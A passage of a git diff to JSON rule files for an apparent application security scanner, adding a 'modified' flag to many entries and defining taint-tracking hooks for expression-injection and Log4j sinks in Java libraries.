1, @@ -14306,6 +15171,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14324,6 +15190,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14342,6 +15209,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14360,6 +15228,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14378,6 +15247,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14403,6 +15273,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -14421,6 +15292,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -14439,6 +15311,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -14457,6 +15330,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -14475,6 +15349,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14493,6 +15368,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -14511,6 +15387,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -14529,6 +15406,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -14547,6 +15425,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -14572,6 +15451,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -14590,6 +15470,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -14608,6 +15489,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -14626,6 +15508,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -14644,6 +15527,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -14662,6 +15546,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -14680,6 +15565,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -14705,6 +15591,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14723,6 +15610,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14741,6 +15629,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14759,6 +15648,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -14777,6 +15667,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14795,6 +15686,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14813,6 +15705,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14831,6 +15724,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14849,6 +15743,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14867,6 +15762,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14885,6 +15781,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14903,6 +15800,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14921,6 +15819,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14939,6 +15838,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14957,6 +15857,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14975,6 +15876,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -14993,6 +15895,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15011,6 +15914,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -15029,6 +15933,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -15054,6 +15959,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -15079,6 +15985,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15097,6 +16004,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15115,6 +16023,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15133,6 +16042,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15151,6 +16061,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15176,6 +16087,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15194,6 +16106,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15212,6 +16125,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15230,6 +16144,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15255,6 +16170,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P4", "stack_blacklist": [], "system_type": 1, @@ -15273,6 +16189,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -15291,6 +16208,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15309,6 +16227,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -15327,6 +16246,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15345,6 +16265,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -15363,6 +16284,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15381,6 +16303,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -15399,6 +16322,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15417,6 +16341,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15435,6 +16360,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15460,6 +16386,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15478,6 +16405,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15496,6 +16424,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15514,6 +16443,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -15532,6 +16462,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -15550,6 +16481,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -15568,6 +16500,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15586,6 +16519,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15604,6 +16538,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15629,6 +16564,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15647,6 +16583,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15665,6 +16602,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15683,6 +16621,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15701,6 +16640,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15719,6 +16659,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15737,6 +16678,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15755,6 +16697,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15773,6 +16716,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15791,6 +16735,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15809,6 +16754,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15827,6 +16773,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15845,6 +16792,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -15863,6 +16811,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15881,6 +16830,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15899,6 +16849,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15917,6 +16868,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15935,6 +16887,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -15953,6 +16906,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -15971,6 +16925,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -15989,6 +16944,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -16007,6 +16963,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16025,6 +16982,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16043,6 +17001,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16061,6 +17020,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16079,6 +17039,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16097,6 +17058,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16122,6 +17084,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16140,6 +17103,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16158,6 +17122,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16176,6 +17141,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16194,6 +17160,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16212,6 +17179,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16230,6 +17198,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16248,6 +17217,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16266,6 +17236,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16284,6 +17255,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16302,6 +17274,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16320,6 +17293,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16338,6 +17312,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16356,6 +17331,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16374,6 +17350,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16392,6 +17369,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16410,6 +17388,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16428,6 +17407,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16446,6 +17426,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16464,6 +17445,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16482,6 +17464,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16500,6 +17483,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16518,6 +17502,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16536,6 +17521,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16554,6 +17540,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16572,6 +17559,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16590,6 +17578,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16608,6 +17597,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [ "org.eclipse.persistence.jaxb.rs.MOXyJsonProvider.readFrom" @@ -16628,6 +17618,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16646,6 +17637,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16664,6 +17656,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16682,6 +17675,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16700,6 +17694,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16718,6 +17713,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16736,6 +17732,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16754,6 +17751,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16772,6 +17770,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16790,6 +17789,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16808,6 +17808,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16826,6 +17827,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16844,6 +17846,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16862,6 +17865,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -16880,6 +17884,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16898,6 +17903,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16916,6 +17922,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16934,6 +17941,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16952,6 +17960,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16970,6 +17979,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -16988,6 +17998,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -17013,6 +18024,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, diff --git a/static/data/java_hooktype.json b/static/data/java_hooktype.json index b7c62ec15..f125017f4 100644 --- a/static/data/java_hooktype.json +++ b/static/data/java_hooktype.json @@ -54,6 +54,17 @@ "type": 1, "value": "Enumeration" }, + { + "created_by": 1, + "enable": 1, + "language": 1, + "name": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, @@ -164,6 +175,28 @@ "type": 3, "value": "JNDI\u6ce8\u5165" }, + { + "created_by": 1, + "enable": 1, + "language": 1, + "name": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 1, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, + { + "created_by": 1, + "enable": 1, + "language": 1, + "name": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, @@ -186,6 +219,28 @@ "type": 1, "value": "List" }, + { + "created_by": 1, + "enable": 1, + "language": 1, + "name": "Log4j", + "name_en": null, + "name_zh": "Log4j", + "system_type": 1, + "type": 4, + "value": "Log4j" + }, + { + "created_by": 1, + "enable": 1, + "language": 1, + "name": "Log4j", + "name_en": null, + "name_zh": "Log4j", + "system_type": 1, + "type": 1, + "value": "Log4j" + }, { "created_by": 1, "enable": 1, @@ -263,6 +318,17 @@ "type": 1, "value": "Propagator:Jackson" }, + { + "created_by": 1, + "enable": 1, + "language": 1, + "name": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, diff --git a/static/data/java_policy.json b/static/data/java_policy.json index 67ed1a13b..fc9f37760 100644 --- a/static/data/java_policy.json +++ b/static/data/java_policy.json @@ -346,6 +346,26 @@ "type": 1, "value": "Enumeration" }, + { + "details": [ + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "source": "P1", + "stack_blacklist": [], + "tags": [], + "target": "", + "track": "true", + "untags": [], + "value": "com.greenpineyu.fel.parser.AntlrParser.parse(java.lang.String)" + } + ], + "enable": 1, + "type": 4, + "value": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "details": [ { @@ -554,6 +574,59 @@ "type": 4, "value": "JNDI\u6ce8\u5165" }, + { + "details": [ + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "source": "P3", + "stack_blacklist": [], + "tags": [], + "target": "R", + "track": "false", + "untags": [], + "value": "org.apache.commons.jexl3.internal.Engine.createScript(org.apache.commons.jexl3.JexlFeatures,org.apache.commons.jexl3.JexlInfo,java.lang.String,java.lang.String[])" + } + ], + "enable": 1, + "type": 1, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, + { + "details": [ + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "source": "O", + "stack_blacklist": [], + "tags": [], + "target": "", + "track": "true", + "untags": [], + "value": "org.apache.commons.jexl3.internal.Script.execute(org.apache.commons.jexl3.JexlContext)" + }, + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "source": "O", + "stack_blacklist": [], + "tags": [], + "target": "", + "track": "true", + "untags": [], + "value": "org.apache.commons.jexl3.internal.Script.execute(org.apache.commons.jexl3.JexlContext,java.lang.Object[])" + } + ], + "enable": 1, + "type": 4, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "details": [ { @@ -587,6 +660,39 @@ "type": 1, "value": "Kafka\u4f20\u64ad" }, + { + "details": [ + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "source": "P2", + "stack_blacklist": [], + "tags": [], + "target": "O|R", + "track": "false", + "untags": [], + "value": "org.apache.logging.log4j.spi.AbstractLogger.info(java.lang.String,java.lang.Object)" + }, + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "source": "P5", + "stack_blacklist": [], + "tags": [], + "target": "O|R", + "track": "false", + "untags": [], + "value": "org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(java.lang.String,org.apache.logging.log4j.Level,org.apache.logging.log4j.Marker,java.lang.String,java.lang.Object)" + } + ], + "enable": 1, + "type": 1, + "value": "Log4j" + }, { "details": [ { @@ -797,6 +903,26 @@ "type": 1, "value": "Propagator:Hessian" }, + { + "details": [ + { + "command": "", + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "source": "P1", + "stack_blacklist": [], + "tags": [], + "target": "", + "track": "true", + "untags": [], + "value": "com.ql.util.express.ExpressRunner.parseInstructionSet(java.lang.String)" + } + ], + "enable": 1, + "type": 4, + "value": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "details": [ { @@ -2717,19 +2843,6 @@ "untags": [], "value": "java.lang.StringBuilder.substring(int,int)" }, - { - "command": "SUBSET(P1,P2)", - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "false", - "source": "O", - "stack_blacklist": [], - "tags": [], - "target": "R", - "track": "false", - "untags": [], - "value": "java.lang.StringBuilder.substring(int,int)" - }, { "command": "KEEP()", "ignore_blacklist": false, @@ -3290,23 +3403,6 @@ ], "value": "javax.servlet.http.HttpServletResponse.encodeRedirectURL(java.lang.String)" }, - { - "command": "", - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "true", - "source": "P1", - "stack_blacklist": [], - "tags": [ - "url-encoded" - ], - "target": "R", - "track": "false", - "untags": [ - "url-decoded" - ], - "value": "javax.servlet.http.HttpServletResponse.encodeRedirectUrl(java.lang.String)" - }, { "command": "", "ignore_blacklist": false, @@ -3324,23 +3420,6 @@ ], "value": "javax.servlet.http.HttpServletResponse.encodeURL(java.lang.String)" }, - { - "command": "", - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "true", - "source": "P1", - "stack_blacklist": [], - "tags": [ - "url-encoded" - ], - "target": "R", - "track": "false", - "untags": [ - "url-decoded" - ], - "value": "javax.servlet.http.HttpServletResponse.encodeUrl(java.lang.String)" - }, { "command": "", "ignore_blacklist": false, diff --git a/static/data/php_full_policy.json b/static/data/php_full_policy.json index cebe16bef..08d50b344 100644 --- a/static/data/php_full_policy.json +++ b/static/data/php_full_policy.json @@ -9,6 +9,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -34,6 +35,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -52,6 +54,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -70,6 +73,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -88,6 +92,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -106,6 +111,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], 